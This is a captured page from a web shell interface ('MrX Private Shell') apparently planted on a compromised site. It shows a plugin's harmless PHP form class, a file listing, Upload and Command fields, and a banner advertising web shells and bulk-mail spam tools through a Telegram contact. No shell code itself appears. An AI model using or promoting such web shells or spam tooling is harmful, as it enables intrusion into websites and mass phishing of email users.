__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Form\Element\Radio;

use Nextend\Framework\Filesystem\Filesystem;
use Nextend\Framework\Form\AbstractField;
use Nextend\Framework\Form\ContainerInterface;
use Nextend\Framework\Form\TraitFieldset;

class ImageListFromFolder extends ImageList implements ContainerInterface {

    use TraitFieldset;

    protected $folder = '';

    protected $filenameOnly = false;

    protected function fetchElement() {

        $this->initOptions();

        return parent::fetchElement();
    }

    private function initOptions() {

        $value        = $this->getValue();
        $currentValue = basename($value);
        if ($value !== $currentValue) {
            $this->setValue($currentValue);
        }


        $files = Filesystem::files($this->folder);
        for ($i = 0; $i < count($files); $i++) {
            $ext        = pathinfo($files[$i], PATHINFO_EXTENSION);
            $extensions = array(
                'jpg',
                'jpeg',
                'png',
                'svg',
                'gif',
                'webp'
            );
            if (in_array($ext, $extensions)) {

                $path = $this->folder . $files[$i];

                if ($this->filenameOnly) {
                    $value = pathinfo($files[$i], PATHINFO_FILENAME);
                } else {
                    $value = basename($files[$i]);
                }

                $this->options[$value] = array(
                    'path' => $path
                );
            }
        }

        if (!isset($this->options[$currentValue])) {
            foreach ($this->options as $value => $option) {
                if (pathinfo($value, PATHINFO_FILENAME) == $currentValue) {
                    $currentValue = $value;
                    $this->setValue($currentValue);
                }
            }
        }
    }

    protected function postHTML() {
        if ($this->first) {
            $html = '<div class="n2_field_image_list__fields">';

            $element = $this->first;
            while ($element) {
                $html .= $this->decorateElement($element);

                $element = $element->getNext();
            }

            $html .= '</div>';

            return $html;
        }

        return '';
    }

    public function setFolder($folder) {
        $this->folder = $folder;
    }

    public function setFilenameOnly($value) {
        $this->filenameOnly = $value;
    }

    /**
     * @param AbstractField $element
     *
     * @return string
     */
    public function decorateElement($element) {
        $html = '<div class="n2_field">';
        $html .= '<div class="n2_field__label">';
        $html .= $element->fetchTooltip();
        $html .= '</div>';
        $html .= '<div class="n2_field__element">';
        $html .= $element->fetchElement();
        $html .= '</div>';
        $html .= '</div>';

        return $html;
    }
}

Filemanager

Name Type Size Permission Actions
AbstractRadioIcon.php File 654 B 0664
ImageList.php File 2.15 KB 0664
ImageListFromFolder.php File 2.85 KB 0664
TextAlign.php File 653 B 0664
Filemanager